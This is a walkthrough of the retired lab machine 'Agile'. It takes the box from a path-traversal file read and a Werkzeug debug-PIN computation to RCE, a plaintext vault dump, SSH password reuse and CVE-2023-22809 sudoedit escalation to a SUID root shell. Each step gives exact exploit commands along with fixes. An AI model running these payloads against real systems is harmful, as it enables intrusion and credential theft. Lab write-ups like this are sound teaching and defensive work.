← all walkthroughs

Agile

Linux· Medium
owned
2026-09-03
time to own
19m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the '[REDACTED: recovered credential]' password-manager web app to the vhost superpass.htb and found that self-registration could trigger an unhandled server error, exposing Werkzeug's interactive debug console. Because the debugger's PIN protection derives from host facts, an authenticated arbitrary-file-read flaw in the app's own /download endpoint was abused to read exactly those facts (NIC MAC address, machine-id, cgroup path), letting me compute the debug PIN and unlock a full Python console running as the web server user.

From there, I queried the backend MySQL database directly and found the app's own password vault stored user credentials in plaintext, including working SSH passwords for two Linux accounts. One account's SSH access yielded the user flag; the second account's sudo rights, combined with a known vulnerability in its outdated sudo version, allowed me to hijack a script sourced by root to plant a SUID root shell — completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery via HTTP redirect
Discovered the [REDACTED: recovered credential] web application and its virtual host
A scan of the target showed only SSH and a web server. The web server returned an HTTP 301 redirect from the bare IP to the hostname superpass.htb, revealing a Flask-based password-manager application ('[REDACTED: recovered credential]') with login, registration and vault pages.
Curl to $TARGET returned 'Location: http://superpass.htb'; the resolved site served a [REDACTED: recovered credential] login/registration/vault app.
Exact commands 3
Confirms only 22/tcp (ssh) and 80/tcp (nginx) are exposed.
nmap -sV -p- $TARGET
Shows the 301 redirect to the superpass.htb vhost.
curl -ksS -L --max-time 15 -D - http://$TARGET/
Or use curl --resolve superpass.htb:80:$TARGET as shown below to avoid editing /etc/hosts.
echo "$TARGET superpass.htb" | sudo tee -a /etc/hosts
2Initial AccessAuthenticated Path Traversal / Arbitrary File Read (CWE-22)
Registered an account, then abused an authenticated path-traversal bug to read arbitrary server files
Self-registration was open. Once logged in, the app's /download?fn= endpoint concatenated the caller-supplied filename onto a base path with no sanitization, allowing '../' sequences to read any file the web server user could access. This was used to confirm arbitrary file read against /etc/passwd, and then to pull the specific host facts (NIC MAC address, /etc/machine-id, and the cgroup path) that the Werkzeug debugger's PIN derivation formula requires.
GET /download?fn=../../../../etc/passwd (authenticated) returned root:x:0:0:...; unauthenticated the same request 302-redirected to /account/login, proving the flaw needs a session.
Exact commands 5
Register/login to obtain a session cookie (stored in cj).
curl --resolve superpass.htb:80:$TARGET -sS -i -c cj -b cj -X POST http://superpass.htb/account/register --data 'username=pentester&password=<chosen-password>'
Prove arbitrary file read once authenticated.
curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../etc/passwd'
Leak the eth0 MAC address (Werkzeug PIN 'private bit').
curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../sys/class/net/eth0/address'
Leak the machine-id (second PIN 'private bit').
curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../etc/machine-id'
Leak the cgroup path; the last path segment (system.slice/superpass.service) feeds the PIN algorithm.
curl --resolve superpass.htb:80:$TARGET -sS -b cj --path-as-is 'http://superpass.htb/download?fn=../../../../proc/self/cgroup'
FixFix the arbitrary file-read in the /download endpointHigh
WeaknessThe /download?fn= route concatenated the client-supplied filename directly onto a base directory without normalizing or restricting the path, letting an authenticated user traverse out of the intended directory and read any file readable by the web server, including files that leak host secrets.
FixResolve the requested path against the intended base directory with os.path.realpath and verify it still starts with that base before opening it; reject any filename containing '..' or an absolute path; serve downloads by an internal file ID/allowlist rather than a raw filename parameter.
3ExploitationWerkzeug Debug Console PIN Bypass / Remote Code Execution (CWE-489, related to CVE-2024-27983-class debug exposure)
Forced a Flask debug error, computed the Werkzeug console PIN, and got RCE as www-data
Because the app called enable_debug() at startup, an unhandled exception (triggered simply by re-submitting the registration form under load, which produced a transient SQLAlchemy/PyMySQL 'lost connection' error) rendered Werkzeug's interactive debugger instead of a generic error page. That page discloses a per-session SECRET and, with EVALEX=true, accepts a PIN-authenticated Python console. The PIN is a SHA1-based function of host facts (username, WSGI module/app name, NIC MAC, machine-id, cgroup id) — exactly the values pulled in step 2 — so I computed the PIN offline and authenticated to the console, gaining full Python code execution as the www-data service account.
Debugger page disclosed SECRET=[REDACTED: recovered credential]...; GET /account/register?__debugger__=yes&cmd=pinauth&pin=[REDACTED: recovered credential]&s=[REDACTED: recovered credential] returned {"auth": true, "exhausted": false}; subsequent console command 'id' returned uid=33(www-data).
Exact commands 4
Repeat registration to trigger the SQLAlchemy 500 error and capture the debugger's SECRET token from the response HTML.
curl --resolve superpass.htb:80:$TARGET -sS -i -c cj -b cj -X POST http://superpass.htb/account/register --data 'username=codex0903&password=[REDACTED: recovered credential]'
Reproduces Werkzeug's SHA1 PIN algorithm (probably_public_bits + private_bits) offline; use a maintained script such as https://github.com/its-a-feature/werkzeug-console-pin-exploit or hand-roll from werkzeug/debug/__init__.py. Output: [REDACTED: recovered credential].
python3 werkzeug_pin_exploit.py --username www-data --app-name wsgi --mac <eth0_mac_int> --machine-id <machine-id> --cgroup system.slice/superpass.service
Authenticate to the debug console; expect {"auth": true}.
curl --resolve superpass.htb:80:$TARGET -sS -c cj -b cj 'http://superpass.htb/account/register?__debugger__=yes&cmd=pinauth&pin=[REDACTED: recovered credential]&s=[REDACTED: recovered credential]'
Execute code via the console; confirms uid=33(www-data).
curl --resolve superpass.htb:80:$TARGET -sS -b cj -G http://superpass.htb/account/register --data-urlencode __debugger__=yes --data-urlencode 'cmd=__import__("subprocess").check_output(["id"])' --data-urlencode frm=<frame_id> --data-urlencode s=[REDACTED: recovered credential]
FixDisable the Werkzeug interactive debugger in productionCritical
WeaknessThe Flask application called enable_debug() at startup, so any unhandled exception rendered Werkzeug's interactive debug console. Combined with the file-read bug, the PIN meant to protect that console could be computed from leaked host facts, giving an unauthorised user a full Python RCE shell as the application user.
FixNever run with debug=True or an equivalent enable_debug() call outside local development; set FLASK_DEBUG=0/FLASK_ENV=production, remove the debug-enabling import from the production WSGI entrypoint, and route errors to structured logging/APM (e.g., Sentry) instead of a browser-rendered traceback.
4Credential AccessPlaintext credential storage / database dump via application RCE (CWE-256)
Queried the backend MySQL database and dumped the plaintext password vault
Using the Werkzeug console RCE, I connected in-process to the local MySQL/MariaDB Unix socket with the app's own database credentials (readable from the app's environment/config) and ran a query against the vault's 'passwords' table. The table stored user-submitted passwords in plaintext rather than encrypted, handing over working SSH credentials for the Linux accounts corum and edwards.
In-console pymysql.connect(unix_socket='/var/run/mysqld/mysqld.sock', user='superpassuser', password='[REDACTED: recovered credential]', database='superpass') then SELECT * FROM passwords returned rows including corum:[REDACTED: recovered credential] and edwards:[REDACTED: recovered credential].
Exact commands 1
Runs inside the Werkzeug console session obtained in step 3; dumps the plaintext vault.
curl --resolve superpass.htb:80:$TARGET -sS -b cj -G http://superpass.htb/account/register --data-urlencode __debugger__=yes --data-urlencode "cmd=(c:=__import__('pymysql').connect(unix_socket='/var/run/mysqld/mysqld.sock',user='superpassuser',password='[REDACTED: recovered credential]',database='superpass').cursor(),c.execute('SELECT * FROM passwords'),c.fetchall())" --data-urlencode frm=<frame_id> --data-urlencode s=[REDACTED: recovered credential]
FixEncrypt stored vault passwords and restrict database credential exposureHigh
WeaknessThe [REDACTED: recovered credential] application stored user vault passwords in plaintext in MySQL, and the database credentials themselves were readable from the application process, so any code-execution foothold on the app server produced immediate plaintext credentials for other accounts.
FixEncrypt vault secrets at rest with a per-user key derived via a strong KDF (e.g., Argon2id) so the database alone cannot yield plaintext passwords; store DB credentials in a secrets manager rather than a world-readable app config; and apply least-privilege DB grants scoped to only the tables the app needs.
5Lateral MovementCredential reuse / valid accounts (MITRE ATT&CK T1078)
Reused a vault-leaked password to log in over SSH and captured the user flag
The plaintext password recovered for the Linux account 'corum' from the [REDACTED: recovered credential] vault worked directly for SSH, confirming credential reuse between the web application's vault and the host's real user accounts. This gave a full interactive shell independent of the web app.
Ssh corum@$TARGET with the vault-leaked password returned uid=1000(corum); /home/corum/user.txt was read successfully.
Exact commands 2
Confirms shell access as corum.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no corum@$TARGET id
Reads the user flag; replace output with <user.txt> in any report.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no corum@$TARGET 'cat /home/corum/user.txt'
FixEliminate password reuse between the application vault and system accountsMedium
WeaknessThe Linux SSH passwords for 'corum' and 'edwards' matched values stored in the [REDACTED: recovered credential] vault, so compromising the web application directly yielded valid credentials for shell access on the host.
FixNever let application-managed secrets double as real system credentials; enforce unique, randomly generated passwords per system and account; move SSH authentication to public-key only (disable PasswordAuthentication in sshd_config); and monitor for credential-stuffing/reuse with a password manager audit.
6Privilege EscalationCVE-2023-22809 — sudoedit arbitrary file write via EDITOR injection (MITRE ATT&CK T1548.003)
Abused a vulnerable sudoedit rule to hijack a root-sourced script and gain a root shell
A second vault-leaked password worked for the account 'edwards'. That account's sudo rights allowed it to run sudoedit as user dev_admin against specific config files, using sudo 1.9.9 — a version vulnerable to CVE-2023-22809, which lets the invoked editor be redirected to an arbitrary file via the EDITOR/SUDO_EDITOR environment variable. Pointing the editor at /app/venv/bin/activate (a script sourced by a privileged, root-run process roughly every minute) let me append a command that copied /bin/bash to a SUID-root binary. Running that binary produced a root shell and the root flag.
Sudo -l as edwards showed '(dev_admin : dev_admin) sudoedit /app/config_test.json' and '(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt' on sudo 1.9.9; /tmp/x -p -c 'id' returned euid=0(root); /tmp/x -p -c 'cat /root/root.txt' succeeded.
Exact commands 5
Confirms the sudoedit rule and the vulnerable sudo 1.9.9 version.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET 'sudo -l; sudo --version | head -1'
CVE-2023-22809: the '--' argument injection redirects the editor to the root-sourced activate script instead of the intended config file.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET "EDITOR='vim -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json"
This line runs the next time a root-owned process sources /app/venv/bin/activate (~1 minute cycle).
# In the opened vim session, append: cp /bin/bash /tmp/x; chmod u+s /tmp/x
After the wait, the SUID-root bash confirms euid=0.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET "/tmp/x -p -c 'id'"
Reads the root flag; replace output with <root.txt> in any report.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no edwards@$TARGET "/tmp/x -p -c 'cat /root/root.txt'"
FixPatch sudo and tighten the sudoedit delegation for edwardsCritical
WeaknessThe host ran sudo 1.9.9, vulnerable to CVE-2023-22809, and granted the 'edwards' account sudoedit rights on application config files. The vulnerability let the EDITOR variable redirect sudoedit to an unrelated, privileged-sourced script, and appending a command there produced a SUID-root shell.
FixUpgrade sudo to 1.9.12p2 or later (or apply the vendor backport) to close CVE-2023-22809; scope the sudoers entry to a fixed, non-relative path and add '!' to block EDITOR/SUDO_EDITOR overrides (env_reset plus explicit editor pinning via -e or a wrapper script); and stop sourcing writable, non-root-owned files (like a venv activate script) from privileged/root-run processes.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp